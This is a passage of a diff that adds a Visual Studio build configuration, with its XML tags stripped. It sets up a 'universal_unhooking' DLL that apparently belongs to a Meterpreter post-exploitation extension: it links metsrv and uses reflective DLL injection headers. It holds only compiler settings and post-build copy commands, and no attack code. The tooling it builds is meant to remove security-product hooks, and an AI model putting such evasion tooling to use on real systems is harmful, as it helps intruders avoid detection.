"$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\universal_unhooking.map + Windows + + + + + false + + + $(OutDir)\universal_unhooking.lib + MachineX86 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\universal_unhooking.map + Windows + + + + + false + + + $(OutDir)\universal_unhooking.lib + MachineX86 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + true + + + Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\universal_unhooking.map + NotSet + + + + + false + + + $(OutDir)\universal_unhooking.lib + MachineX64 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + true + + + Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\universal_unhooking.map + NotSet + + + + + false + + + $(OutDir)\universal_unhooking.lib + MachineX64 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + + + + + + + + + + + + + \ No newline at end of file